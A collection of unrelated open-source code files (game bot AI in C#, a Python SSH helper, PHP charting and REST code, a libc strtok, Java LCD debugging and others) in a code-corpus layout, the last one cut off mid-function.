(a.HasTrait<Harvester>()) world.IssueOrder(new Order("Harvest", a, false)); else unitsHangingAroundTheBase.Add(a); if (a.HasTrait<Aircraft>() && a.HasTrait<AttackBase>()) { var air = GetSquadOfType(SquadType.Air); if (air == null) air = RegisterNewSquad(SquadType.Air); air.units.Add(a); } activeUnits.Add(a); } } void CreateAttackForce() { // Create an attack force when we have enough units around our base. // (don't bother leaving any behind for defense) var randomizedSquadSize = Info.SquadSize + random.Next(30); if (unitsHangingAroundTheBase.Count >= randomizedSquadSize) { var attackForce = RegisterNewSquad(SquadType.Assault); foreach (var a in unitsHangingAroundTheBase) if (!a.HasTrait<Aircraft>()) attackForce.units.Add(a); unitsHangingAroundTheBase.Clear(); } } void TryToRushAttack() { var allEnemyBaseBuilder = FindEnemyConstructionYards(); var ownUnits = activeUnits .Where(unit => unit.HasTrait<AttackBase>() && !unit.HasTrait<Aircraft>() && unit.IsIdle).ToList(); if (!allEnemyBaseBuilder.Any() || (ownUnits.Count < Info.SquadSize)) return; foreach (var b in allEnemyBaseBuilder) { var enemies = world.FindActorsInCircle(b.CenterPosition, WRange.FromCells(Info.RushAttackScanRadius)) .Where(unit => p.Stances[unit.Owner] == Stance.Enemy && unit.HasTrait<AttackBase>()).ToList(); if (rushFuzzy.CanAttack(ownUnits, enemies)) { var target = enemies.Any() ? enemies.Random(random) : b; var rush = GetSquadOfType(SquadType.Rush); if (rush == null) rush = RegisterNewSquad(SquadType.Rush, target); foreach (var a3 in ownUnits) rush.units.Add(a3); return; } } } void ProtectOwn(Actor attacker) { var protectSq = GetSquadOfType(SquadType.Protection); if (protectSq == null) protectSq = RegisterNewSquad(SquadType.Protection, attacker); if (!protectSq.TargetIsValid) protectSq.Target = attacker; if (!protectSq.IsValid) { var ownUnits = world.FindActorsInCircle(world.Map.CenterOfCell(baseCenter), WRange.FromCells(Info.ProtectUnitScanRadius)) .Where(unit => unit.Owner == p && !unit.HasTrait<Building>() && unit.HasTrait<AttackBase>()).ToList(); foreach (var a in ownUnits) protectSq.units.Add(a); } } bool IsRallyPointValid(CPos x, BuildingInfo info) { return info != null && world.IsCellBuildable(x, info); } void SetRallyPointsForNewProductionBuildings(Actor self) { var buildings = self.World.ActorsWithTrait<RallyPoint>() .Where(rp => rp.Actor.Owner == p && !IsRallyPointValid(rp.Trait.Location, rp.Actor.Info.Traits.GetOrDefault<BuildingInfo>())).ToArray(); foreach (var a in buildings) world.IssueOrder(new Order("SetRallyPoint", a.Actor, false) { TargetLocation = ChooseRallyLocationNear(a.Actor), SuppressVisualFeedback = true }); } // Won't work for shipyards... CPos ChooseRallyLocationNear(Actor producer) { var possibleRallyPoints = Map.FindTilesInCircle(producer.Location, Info.RallyPointScanRadius) .Where(c => IsRallyPointValid(c, producer.Info.Traits.GetOrDefault<BuildingInfo>())); if (!possibleRallyPoints.Any()) { BotDebug("Bot Bug: No possible rallypoint near {0}", producer.Location); return producer.Location; } return possibleRallyPoints.Random(random); } void InitializeBase(Actor self) { // Find and deploy our mcv var mcv = self.World.Actors .FirstOrDefault(a => a.Owner == p && a.HasTrait<BaseBuilding>()); if (mcv != null) { baseCenter = mcv.Location; defenseCenter = baseCenter; // Don't transform the mcv if it is a fact // HACK: This needs to query against MCVs directly if (mcv.HasTrait<Mobile>()) world.IssueOrder(new Order("DeployTransform", mcv, false)); } else BotDebug("AI: Can't find BaseBuildUnit."); } // Find any newly constructed MCVs and deploy them at a sensible // backup location within the main base. void FindAndDeployBackupMcv(Actor self) { // HACK: This needs to query against MCVs directly var mcvs = self.World.Actors.Where(a => a.Owner == p && a.HasTrait<BaseBuilding>() && a.HasTrait<Mobile>()); if (!mcvs.Any()) return; foreach (var mcv in mcvs) { if (mcv.IsMoving()) continue; var factType = mcv.Info.Traits.Get<TransformsInfo>().IntoActor; var desiredLocation = ChooseBuildLocation(factType, false, BuildingType.Building); if (desiredLocation == null) continue; world.IssueOrder(new Order("Move", mcv, true) { TargetLocation = desiredLocation.Value }); world.IssueOrder(new Order("DeployTransform", mcv, true)); } } void TryToUseSupportPower(Actor self) { if (supportPowerMngr == null) return; var powers = supportPowerMngr.Powers.Where(p => !p.Value.Disabled); foreach (var kv in powers) { var sp = kv.Value; // Add power to dictionary if not in delay dictionary yet if (!waitingPowers.ContainsKey(sp)) waitingPowers.Add(sp, 0); if (waitingPowers[sp] > 0) waitingPowers[sp]--; // If we have recently tried and failed to find a use location for a power, then do not try again until later var isDelayed = (waitingPowers[sp] > 0); if (sp.Ready && !isDelayed && powerDecisions.ContainsKey(sp.Info.OrderName)) { var powerDecision = powerDecisions[sp.Info.OrderName]; if (powerDecision == null) { BotDebug("Bot Bug: FindAttackLocationToSupportPower, couldn't find powerDecision for {0}", sp.Info.OrderName); continue; } var attackLocation = FindCoarseAttackLocationToSupportPower(sp); if (attackLocation == null) { BotDebug("AI: {1} can't find suitable coarse attack location for support power {0}. Delaying rescan.", sp.Info.OrderName, p.PlayerName); waitingPowers[sp] += powerDecision.GetNextScanTime(this); continue; } // Found a target location, check for precise target attackLocation = FindFineAttackLocationToSupportPower(sp, (CPos)attackLocation); if (attackLocation == null) { BotDebug("AI: {1} can't find suitable final attack location for support power {0}. Delaying rescan.", sp.Info.OrderName, p.PlayerName); waitingPowers[sp] += powerDecision.GetNextScanTime(this); continue; } // Valid target found, delay by a few ticks to avoid rescanning before power fires via order BotDebug("AI: {2} found new target location {0} for support power {1}.", attackLocation, sp.Info.OrderName, p.PlayerName); waitingPowers[sp] += 10; world.IssueOrder(new Order(sp.Info.OrderName, supportPowerMngr.self, false) { TargetLocation = attackLocation.Value, SuppressVisualFeedback = true }); } } } ///<summary>Scans the map in chunks, evaluating all actors in each.</summary> CPos? FindCoarseAttackLocationToSupportPower(SupportPowerInstance readyPower) { CPos? bestLocation = null; var bestAttractiveness = 0; var powerDecision = powerDecisions[readyPower.Info.OrderName]; if (powerDecision == null) { BotDebug("Bot Bug: FindAttackLocationToSupportPower, couldn't find powerDecision for {0}", readyPower.Info.OrderName); return null; } var checkRadius = powerDecision.CoarseScanRadius; for (var i = 0; i < world.Map.MapSize.X; i += checkRadius) { for (var j = 0; j < world.Map.MapSize.Y; j += checkRadius) { var consideredAttractiveness = 0; var tl = world.Map.CenterOfCell(new CPos(i, j)); var br = world.Map.CenterOfCell(new CPos(i + checkRadius, j + checkRadius)); var targets = world.ActorMap.ActorsInBox(tl, br); consideredAttractiveness = powerDecision.GetAttractiveness(targets, p); if (consideredAttractiveness <= bestAttractiveness || consideredAttractiveness < powerDecision.MinimumAttractiveness) continue; bestAttractiveness = consideredAttractiveness; bestLocation = new CPos(i, j); } } return bestLocation; } ///<summary>Detail scans an area, evaluating positions.</summary> CPos? FindFineAttackLocationToSupportPower(SupportPowerInstance readyPower, CPos checkPos, int extendedRange = 1) { CPos? bestLocation = null; var bestAttractiveness = 0; var powerDecision = powerDecisions[readyPower.Info.OrderName]; if (powerDecision == null) { BotDebug("Bot Bug: FindAttackLocationToSupportPower, couldn't find powerDecision for {0}", readyPower.Info.OrderName); return null; } var checkRadius = powerDecision.CoarseScanRadius; var fineCheck = powerDecision.FineScanRadius; for (var i = (0 - extendedRange); i <= (checkRadius + extendedRange); i += fineCheck) { var x = checkPos.X + i; for (var j = (0 - extendedRange); j <= (checkRadius + extendedRange); j += fineCheck) { var y = checkPos.Y + j; var pos = world.Map.CenterOfCell(new CPos(x, y)); var consideredAttractiveness = 0; consideredAttractiveness += powerDecision.GetAttractiveness(pos, p); if (consideredAttractiveness <= bestAttractiveness || consideredAttractiveness < powerDecision.MinimumAttractiveness) continue; bestAttractiveness = consideredAttractiveness; bestLocation = new CPos(x, y); } } return bestLocation; } internal IEnumerable<ProductionQueue> FindQueues(string category) { return world.ActorsWithTrait<ProductionQueue>() .Where(a => a.Actor.Owner == p && a.Trait.Info.Type == category && a.Trait.Enabled) .Select(a => a.Trait); } void ProductionUnits(Actor self) { // Stop building until economy is restored if (!HasAdequateProc()) return; // No construction yards - Build a new MCV if (!HasAdequateFact() && !self.World.Actors.Any(a => a.Owner == p && a.HasTrait<BaseBuilding>() && a.HasTrait<Mobile>())) BuildUnit("Vehicle", GetUnitInfoByCommonName("Mcv", p).Name); foreach (var q in Info.UnitQueues) BuildUnit(q, unitsHangingAroundTheBase.Count < Info.IdleBaseUnitsMaximum); } void BuildUnit(string category, bool buildRandom) { // Pick a free queue var queue = FindQueues(category).FirstOrDefault(q => q.CurrentItem() == null); if (queue == null) return; var unit = buildRandom ? ChooseRandomUnitToBuild(queue) : ChooseUnitToBuild(queue); if (unit != null && Info.UnitsToBuild.Any(u => u.Key == unit.Name)) world.IssueOrder(Order.StartProduction(queue.Actor, unit.Name, 1)); } void BuildUnit(string category, string name) { var queue = FindQueues(category).FirstOrDefault(q => q.CurrentItem() == null); if (queue == null) return; if (Map.Rules.Actors[name] != null) world.IssueOrder(Order.StartProduction(queue.Actor, name, 1)); } public void Damaged(Actor self, AttackInfo e) { if (!enabled) return; if (e.Attacker.Owner.Stances[self.Owner] == Stance.Neutral) return; var rb = self.TraitOrDefault<RepairableBuilding>(); if (Info.ShouldRepairBuildings && rb != null) { if (e.DamageState > DamageState.Light && e.PreviousDamageState <= DamageState.Light && !rb.RepairActive) { BotDebug("Bot noticed damage {0} {1}->{2}, repairing.", self, e.PreviousDamageState, e.DamageState); world.IssueOrder(new Order("RepairBuilding", self.Owner.PlayerActor, false) { TargetActor = self }); } } if (e.Attacker.Destroyed) return; if (!e.Attacker.HasTrait<ITargetable>()) return; if (e.Attacker != null && e.Damage > 0) aggro[e.Attacker.Owner].Aggro += e.Damage; // Protected harvesters or building if ((self.HasTrait<Harvester>() || self.HasTrait<Building>()) && p.Stances[e.Attacker.Owner] == Stance.Enemy) { defenseCenter = e.Attacker.Location; ProtectOwn(e.Attacker); } } } }
gpl-3.0
uliss/pddoc
pddoc/pdpainter.py
2655
#!/usr/bin/env python # coding=utf-8 # Copyright (C) 2014 by Serge Poltavski # # serge.poltavski@gmail.com # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 3 of the License, or # # (at your option) any later version. # # # # This program is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # GNU General Public License for more details. # # # # You should have received a copy of the GNU General Public License # # along with this program. If not, see <http://www.gnu.org/licenses/> # from __future__ import print_function __author__ = 'Serge Poltavski' class PdPainter(object): def draw_canvas(self, canvas): pass def draw_comment(self, comment): print("Draw comment: #", comment.text()) def draw_message(self, message): print("Draw message [id:%i]: %s" % (message.id, message.to_string())) def draw_object(self, obj): print("Draw object: [id:%i] [%s]" % (obj.id, " ".join(obj.args))) def draw_core_gui(self, gui): print("Draw core GUI: [id:%i] [%s]" % (gui.id, gui.name)) def draw_subpatch(self, subpatch): print("Draw subpatch: [pd {0:s}]".format(subpatch.name)) def draw_graph(self, graph): print("Draw graph ") def draw_connections(self, canvas): print("Draw connections ") def draw_poly(self, vertexes, **kwargs): print("Draw poly:", vertexes) def draw_text(self, x, y, text, **kwargs): print("Draw text:", text) def draw_inlets(self, inlets, x, y, width): print("Draw inlets:", inlets) def draw_outlets(self, outlets, x, y, width): print("Draw outlets:", outlets) def draw_circle(self, x, y, width, **kwargs): print("Draw circle") def draw_arc(self, x, y, radius, start_angle, end_angle, **kwargs): print("Draw arc") def draw_line(self, x0, y0, x1, y1, **kwargs): print("Draw line") def draw_rect(self, x, y, w, h, **kwargs): print("Draw rect")
gpl-3.0
openlab-aux/golableuchtung
serialcli/leucht.go
784
package main import ( "io/ioutil" "log" "os" "strconv" "time" "github.com/openlab-aux/golableuchtung" serial "github.com/huin/goserial" ) func main() { if len(os.Args) != 5 { log.Fatal("invalid number of arguments") } leucht := lableuchtung.LabLeucht{} c := &serial.Config{ Name: "/dev/ttyACM0", Baud: 115200, } var err error leucht.ReadWriteCloser, err = serial.OpenPort(c) if err != nil { log.Fatal(err) } leucht.ResponseTimeout = 10 * time.Millisecond ioutil.ReadAll(leucht) // consume fnord pkg := lableuchtung.Package{0, 0, 0, 0} for i := 0; i < 4; i++ { v, err := strconv.ParseUint(os.Args[i+1], 10, 8) if err != nil { log.Fatal(err) } pkg[i] = byte(v) } err = leucht.SendPackage(pkg) if err != nil { log.Fatal(err) } }
gpl-3.0
maandree/slibc
src/string/str/strtok.c
1692
/** * slibc — Yet another C library * Copyright © 2015, 2016 Mattias Andrée (maandree@member.fsf.org) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <string.h> /** * Tokenise a string. * * @param string The string to tokenise on the first, * `NULL` on subsequent calls. * All bytes found in `delimiters` will * be overriden with NUL bytes. * @param delimiters Delimiting bytes (not characters). * @return The next non-empty string that does not * contain a byte from `delimiters`. The * returned string will be as long as possible. * `NULL` is returned the search as reached * the end of the string, and there therefore * are no more tokens. * * @since Always. */ char* strtok(char* restrict string, const char* restrict delimiters) { static char* state = NULL; if (string == NULL) state = NULL; return strtok_r(string, delimiters, &state); }
gpl-3.0
MailCleaner/MailCleaner
www/classes/view/graphics/Pie.php
4573
<? /** * @license http://www.mailcleaner.net/open/licence_en.html Mailcleaner Public License * @package mailcleaner * @author Olivier Diserens * @copyright 2006, Olivier Diserens */ /** * needs some defaults */ require_once ("system/SystemConfig.php"); class Pie { /** * file name * @var string */ private $filename_ = 'untitled.png'; /** * chart width and height * @var array */ private $size_ = array("width" => 0, "height" => 0); /** * chart 3d effect width */ private $width3d_ = 20; /** * datas * @var array */ private $datas_ = array(); /** * sum of all the values * @var numeric */ private $sum_values_ = 0; /** * constructor */ public function __construct() {} /** * set the filename * @param $filename string the filename * @return boolean trus on success, false on failure */ public function setFilename($filename) { if ($filename != "") { $this->filename_ = $filename; return true; } return false; } /** * set the Pie size * @param $witdh integer graphic witdh * @param $height integer graphic height * @return boolean true on success, false on failure */ public function setSize($width, $height) { if (is_int($width) && is_int($height)) { $this->size_['width'] = $width; $this->size_['height'] = $height; return true; } return false; } /** * add a data value * @param $value numeric numeric value * @param $name string name of the value * @param $color array color * @return boolean true on success, false on failure */ public function addValue($value, $name, $color) { if (!is_numeric($value) || !is_array($color)) { return false; } if ($value == 0) { return true; } array_push($this->datas_, array('v' => $value, 'n' => $name, 'c' => $color)); $this->sum_values_ += $value; return true; } /** * generate the graphic file * @return boolean true on success, false on failure */ public function generate() { $sysconf = SystemConfig::getInstance(); $delta = 270; $width = $this->size_['width']*2; $height = ($this->size_['height']+$this->width3d_)*2; $ext_width = $width + 5; $ext_height= $height + $this->width3d_ + 5; $image = imagecreatetruecolor($ext_width, $ext_height); $white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF); imagefilledrectangle($image, 0, 0, $ext_width, $ext_height, $white); $xcenter = intval($ext_width / 2); $ycenter = intval($ext_height / 2) - ($this->width3d_/2); $gray = imagecolorallocate($image, 0xC0, 0xC0, 0xC0); $darkgray = imagecolorallocate($image, 0x90, 0x90, 0x90); $colors = array(); ## create 3d effect for ($i = $ycenter+$this->width3d_; $i > $ycenter; $i--) { $last_angle = 0; imagefilledarc($image, $xcenter, $i, $width, $height, 0, 360 , $darkgray, IMG_ARC_PIE); foreach ($this->datas_ as $data) { $name = $data['n']; $rcomp = intval($data['c'][0]- 0x40); if ($rcomp < 0) { $rcomp = 0; } $gcomp = intval($data['c'][1]- 0x40); if ($gcomp < 0) { $gcomp = 0; } $bcomp = intval($data['c'][2]- 0x40); if ($bcomp < 0) { $bcomp = 0; } $colors[$name] = imagecolorallocate($image, $rcomp, $gcomp, $bcomp); $percent = (100/$this->sum_values_) * $data['v']; $angle = $percent * 3.6; if ($angle < 1.1) { $angle = 1.1; } imagefilledarc($image, $xcenter, $i, $width, $height, $last_angle+$delta, $last_angle+$angle+$delta , $colors[$name], IMG_ARC_PIE); $last_angle += $angle; } } ## create default imagefilledarc($image, $xcenter, $ycenter, $width, $height, 0, 360 , $gray, IMG_ARC_PIE); ## creates real pies $last_angle = 0; foreach ($this->datas_ as $data) { $name = $data['n']; $colors[$name] = imagecolorallocate($image, $data['c'][0], $data['c'][1], $data['c'][2]); $percent = (100/$this->sum_values_) * $data['v']; $angle = $percent * 3.6; if ($angle < 1.1) { $angle = 1.1; } imagefilledarc($image, $xcenter, $ycenter, $width, $height, $last_angle+$delta, $last_angle+$angle+$delta , $colors[$name], IMG_ARC_PIE); $last_angle += $angle; } // resample to get anti-alias effect $destImage = imagecreatetruecolor($this->size_['width'], $this->size_['height']); imagecopyresampled($destImage, $image, 0, 0, 0, 0, $this->size_['width'], $this->size_['height'], $ext_width, $ext_height); imagepng($destImage, $sysconf->VARDIR_."/www/".$this->filename_); imagedestroy($image); imagedestroy($destImage); return true; } } ?>
gpl-3.0
flippym/toolbox
ssh-streaming.py
1573
# SSH proxy forward and remote shell __author__ = "Frederico Martins" __license__ = "GPLv3" __version__ = 1 from getpass import getpass from paramiko import AutoAddPolicy, SSHClient, ssh_exception class SSH(object): proxy = None def __init__(self, host, user, password=None, port=22): self.host = host self.port = port self.user = user self.password = password or getpass(prompt="Network password: ") def forward(self, host, user=None, password=None, port=22): self._proxy = SSHClient() user = user or self.user password = password or self.password self._proxy.set_missing_host_key_policy(AutoAddPolicy()) try: self._proxy.connect(host, port=port, username=user, password=password) except ssh_exception.AuthenticationException: print("Error: Authentication failed for user {0}".format(self.user)) exit(-1) transport = self._proxy.get_transport() self.proxy = transport.open_channel("direct-tcpip", (self.host, self.port), (host, port)) def execute(self, command): if not hasattr(self, '_ssh'): self._ssh = SSHClient() self._ssh.set_missing_host_key_policy(AutoAddPolicy()) self._ssh.connect(self.host, username=self.user, password=self.password, sock=self.proxy) return self._ssh.exec_command(command) def close(self): if hasattr(self, '_ssh'): self._ssh.close() if hasattr(self, '_proxy'): self._proxy.close()
gpl-3.0
enabrintain/MiscellaneousParts
README.md
20
# MiscellaneousParts
gpl-3.0
PyrousNET/TorchFramework
reports/users.php
276
<?php // Define queries inside of the reports array. // !! IMPORTANT: Make sure queries do not have a semicolon ';' at the end so the pagination will work. $reports = array(); $reports['default'] = "SELECT username,full_name,email,date_created,active,login_date from users";
gpl-3.0
makseq/testarium
testarium/filedb.py
6170
import os, json, random from utils import * import collections class FileDataBaseException(Exception): pass def update_dict_recursively(d, u): for k, v in u.iteritems(): if isinstance(v, collections.Mapping): r = update_dict_recursively(d.get(k, {}), v) d[k] = r else: d[k] = u[k] return d class FileDataBase: def __init__(self): self.files = {} self.last_id = 0 self.shuffled_keys = None self.shuffled_last = 0 self._init = False self._files_saved = False def IsInitialized(self): return self._init def ScanDirectoryRecursively(self, watch_dir, extension, exclude, myFileInfoExtractor=None, renewFiles=True): changed = 0 count = 0 exist = 0 excluded = 0 path2file = {self.files[i]['path']: i for i in self.files} files_ok = {} for root, _, files in os.walk(watch_dir): for filename in files: # skip excluded files if filename in exclude: excluded += 1 continue if filename.endswith(extension): path = root + '/' + filename # find duplicates added = False value = {'path': path} if myFileInfoExtractor: try: info = myFileInfoExtractor(path) except: info = None if info is None: excluded += 1 continue value.update(info) if path in path2file: id_ = path2file[path] files_ok[id_] = value changed += self.files[id_] != value added = True exist += 1 if not added: files_ok[str(self.last_id)] = value self.last_id += 1 count += 1 if renewFiles: self.files = files_ok else: self.files.update(files_ok) self._init = True self._files_saved = False if count > 0 or changed > 0 else True return count, exist, excluded def ShuffleFiles(self): self.shuffled_keys = self.files.keys() myRandom = random.Random(42) myRandom.shuffle(self.shuffled_keys) def GetFilesPortion(self, count, count_is_percent=True): if self.shuffled_keys is None: raise FileDataBaseException('Use ShuffleFiles before GetFilesPortion') if count_is_percent: count *= self.GetFilesNumber() start = self.shuffled_last end = None if count is None else int(self.shuffled_last+count) self.shuffled_last = end return self.shuffled_keys[start:end] def GetFilesPortions(self, count_list): return [self.GetFilesPortion(c) for c in count_list] def ResetShuffle(self): self.shuffled_keys = None self.shuffled_last = 0 def GetFile(self, _id): return self.files[_id] def GetPath(self, _id): try: int(_id) except: return _id else: return self.files[_id]['path'] def GetPathes(self, ids_or_ids_list): if isinstance(ids_or_ids_list, list): if isinstance(ids_or_ids_list[0], list): return [[self.GetPath(i) for i in ids] for ids in ids_or_ids_list] return [self.GetPath(i) for i in ids_or_ids_list] def SetFiles(self, other_filedb): self.files = other_filedb.files self._init = other_filedb._init self._files_saved = other_filedb._files_saved def GetFiles(self): return self.files def GetFilesNumber(self): return len(self.files) def GetFileBasename2id(self): return {os.path.basename(self.GetPath(_id)): _id for _id in self.GetAllIds()} def SaveFiles(self, filename): if not self._files_saved: try: filename = os.path.normpath(filename) json.dump(self.files, open(filename, 'w')) self._files_saved = True # log('FileDB saved to:', filename) return True except: return False else: return False def GetAllIds(self): return self.files.keys() def GetPathes2IdsMap(self): return {self.files[i]['path']: i for i in self.files} def LoadFiles(self, filename): try: self._init = False self._files_saved = False self.files = json.load(open(filename)) self.last_id = max([int(i) for i in self.files.keys()])+1 self._init = True self._files_saved = True except: return False return True class MetaDataBase: def __init__(self): self.meta = {} self.filedb = None def SetFileDB(self, filedb): self.filedb = filedb def SaveMeta(self, filename): # save json with meta info tmp = json.encoder.FLOAT_REPR json.encoder.FLOAT_REPR = lambda o: format(o, '.6f') json.dump(self.meta, open(filename, 'w'), sort_keys=True) json.encoder.FLOAT_REPR = tmp return True def LoadMeta(self, filename): try: self.meta = json.load(open(filename)) except: return False return True def SetMeta(self, _id, data): if not isinstance(data, dict): raise FileDataBaseException('data must be a dict '+str(data)) self.meta[_id] = data def AddMeta(self, _id, data): if not isinstance(data, dict): raise FileDataBaseException('data must be a dict '+str(data)) if _id in self.meta: self.meta[_id] = update_dict_recursively(self.meta[_id], data) else: self.meta[_id] = data def GetMeta(self, _id): if not _id in self.meta: raise FileDataBaseException('incorrect id ' + str(_id)) return self.meta[_id] def GetAllIds(self): return self.meta.keys()
gpl-3.0
SnakeSVx/ev3
Lejos/src/main/java/lejos/utility/DebugMessages.java
2602
package lejos.utility; import lejos.hardware.LCD; /** * This class has been developed to use it in case of you have * to tests leJOS programs and you need to show in NXT Display data * but you don't need to design a User Interface. * * This class is very useful to debug algorithms in your NXT brick. * * @author Juan Antonio Brenha Moral * */ public class DebugMessages { private int lineCounter = 0;//Used to know in what row LCD is showing the messages private final int maximumLCDLines = 7;//NXT Brick has a LCD with 7 lines private int LCDLines = maximumLCDLines;//By default, Debug Messages show messages in maximumLCDLines private int delayMS = 250;//By default, the value to establish a delay private boolean delayEnabled = false;//By default, DebugMessages show messages without any delay /* * Constructors */ /* * Constructor with default features */ public DebugMessages(){ //Empty } /** * Constructor which the user establish in what line start showing messages * * @param init */ public DebugMessages(int init){ lineCounter = init; } /* * Getters & Setters */ /** * Set the number of lines to show in the screen. * * @param lines */ public void setLCDLines(int lines){ if(lines <= maximumLCDLines){ LCDLines = lines; } } /** * Enable/Disabled if you need to show output with delay * * @param de */ public void setDelayEnabled(boolean de){ delayEnabled = de; } /** * Set the delay measured in MS. * * @param dMs */ public void setDelay(int dMs){ delayMS = dMs; } /* * Public Methods */ /** * Show in NXT Screen a message * * @param message */ public void echo(String message){ if(lineCounter > LCDLines){ lineCounter = 0; LCD.clear(); }else{ LCD.drawString(message, 0, lineCounter); LCD.refresh(); lineCounter++; } if(delayEnabled){ try {Thread.sleep(delayMS);} catch (Exception e) {} } } /** * Show in NXT Screen a message * * @param message */ public void echo(int message){ if(lineCounter > LCDLines){ lineCounter = 0; LCD.clear(); }else{ LCD.drawInt(message, 0, lineCounter); LCD.refresh(); lineCounter++; } if(delayEnabled){ try {Thread.sleep(delayMS);} catch (Exception e) {} } } /** * Clear LCD */ public void clear(){ LCD.clear(); lineCounter = 0; if(delayEnabled){ try {Thread.sleep(delayMS);} catch (Exception e) {} } } }
gpl-3.0
grglucastr/matheus
css/contato.css
392
body{ background-color: #151212; color: #FFFFFF; } .contato-frase{ font-family: 'GOTHAM-LIGHT'; letter-spacing: 3px; margin-top: 50px; padding: 0 90px; text-align: justify; } #form_contato label{ font-family: 'GOTHAM-LIGHT'; } #lnk_enviar{ font-family: 'GOTHAM-LIGHT'; color: #bebebe; width: 13%; display: block; border-bottom: 1px solid; text-align: center; }
gpl-3.0
bderidder/ldm-guild-website
src/LaDanse/RestBundle/Controller/GameData/RealmResource.php
1963
<?php /** * @license http://opensource.org/licenses/gpl-license.php GNU Public License * @link https://github.com/bderidder/ldm-guild-website */ namespace LaDanse\RestBundle\Controller\GameData; use LaDanse\RestBundle\Common\AbstractRestController; use LaDanse\RestBundle\Common\JsonResponse; use LaDanse\RestBundle\Common\ResourceHelper; use LaDanse\ServicesBundle\Common\ServiceException; use LaDanse\ServicesBundle\Service\DTO\GameData\PatchRealm; use LaDanse\ServicesBundle\Service\GameData\GameDataService; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; /** * @Route("/realms") */ class RealmResource extends AbstractRestController { /** * @return Response * * @Route("/", name="getAllRealms", options = { "expose" = true }, methods={"GET"}) */ public function getAllRealmsAction() { /** @var GameDataService $gameDataService */ $gameDataService = $this->get(GameDataService::SERVICE_NAME); $realms = $gameDataService->getAllRealms(); return new JsonResponse($realms); } /** * @param Request $request * @return Response * @Route("/", name="postRealm", methods={"POST"}) */ public function postRealmAction(Request $request) { /** @var GameDataService $gameDataService */ $gameDataService = $this->get(GameDataService::SERVICE_NAME); try { $patchRealm = $this->getDtoFromContent($request, PatchRealm::class); $dtoRealm = $gameDataService->postRealm($patchRealm); return new JsonResponse($dtoRealm); } catch(ServiceException $serviceException) { return ResourceHelper::createErrorResponse( $request, $serviceException->getCode(), $serviceException->getMessage() ); } } }
gpl-3.0
AndreasLang1204/TowerOfDoom
src/Engine/Components/GameComponentType.h
3835
#pragma once #include "../Game/Enumeration.h" namespace ToD { namespace Components { //////////////////////////////////////////////////////////// /// \brief Declares supported game component types. /// //////////////////////////////////////////////////////////// class GameComponentType : public Enumeration<GameComponentType> { /// Enumeation values public: //////////////////////////////////////////////////////////// /// \brief The game component has no specific update priority and will not be updated. /// //////////////////////////////////////////////////////////// EnumerationDeclaration__(None, 0) //////////////////////////////////////////////////////////// /// \brief The game component will be updated at render priority. /// //////////////////////////////////////////////////////////// EnumerationDeclaration__(Render, 1) //////////////////////////////////////////////////////////// /// \brief The game component will be updated at turn system round state priority. /// //////////////////////////////////////////////////////////// EnumerationDeclaration__(TurnSystemRoundState, 2) //////////////////////////////////////////////////////////// /// \brief The game component will be updated at turn system character controller priority. /// //////////////////////////////////////////////////////////// EnumerationDeclaration__(TurnSystemCharacterController, 3) //////////////////////////////////////////////////////////// /// \brief The game component will be updated at turn system character state priority. /// //////////////////////////////////////////////////////////// EnumerationDeclaration__(TurnSystemCharacterState, 4) //////////////////////////////////////////////////////////// /// \brief The game component will be updated at camera priority. /// //////////////////////////////////////////////////////////// EnumerationDeclaration__(Camera, 5) //////////////////////////////////////////////////////////// /// \brief The game component will be updated at transition priority. /// //////////////////////////////////////////////////////////// EnumerationDeclaration__(Transition, 6) //////////////////////////////////////////////////////////// /// \brief The game component will be updated at game object manager priority. /// //////////////////////////////////////////////////////////// EnumerationDeclaration__(GameObjectManagerIntegration, 100) //////////////////////////////////////////////////////////// /// \brief The game component will be updated at input manager priority. /// //////////////////////////////////////////////////////////// EnumerationDeclaration__(InputManagerIntegration, 200) //////////////////////////////////////////////////////////// /// \brief The game component will be updated at game state manager priority. /// //////////////////////////////////////////////////////////// EnumerationDeclaration__(GameStateManagerIntegration, 300) /// Constructors, destructors private: //////////////////////////////////////////////////////////// /// \brief The constructor (default constructor). /// //////////////////////////////////////////////////////////// GameComponentType() IsDefault__; //////////////////////////////////////////////////////////// /// \brief The destructor. /// //////////////////////////////////////////////////////////// ~GameComponentType() IsDefault__; /// Properties public: //////////////////////////////////////////////////////////// /// \brief Gets the static runtime type. /// /// \return The static runtime type. /// //////////////////////////////////////////////////////////// static string RuntimeType(); }; } }
gpl-3.0
maxux/rtinfo
rtinfod/rtinfod_network.c
3168
/* * rtinfod is the daemon monitoring rtinfo remote clients * Copyright (C) 2012 DANIEL Maxime <root@maxux.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <endian.h> #include <rtinfo.h> #include "../rtinfo-common/socket.h" uint16_t packed_speed_rtinfo(netinfo_speed_t speed) { switch (speed) { case NETINFO_NET_SPEED_10: return 10; case NETINFO_NET_SPEED_100: return 100; case NETINFO_NET_SPEED_1000: return 1000; break; case NETINFO_NET_SPEED_2500: return 2500; break; case NETINFO_NET_SPEED_10000: return 10000; case NETINFO_NET_SPEED_UNK: return 0; } return 0; } void convert_packed(netinfo_packed_t *packed) { int i; packed->nbcpu = be32toh(packed->nbcpu); packed->memory.ram_total = be64toh(packed->memory.ram_total); packed->memory.ram_used = be64toh(packed->memory.ram_used); packed->memory.swap_total = 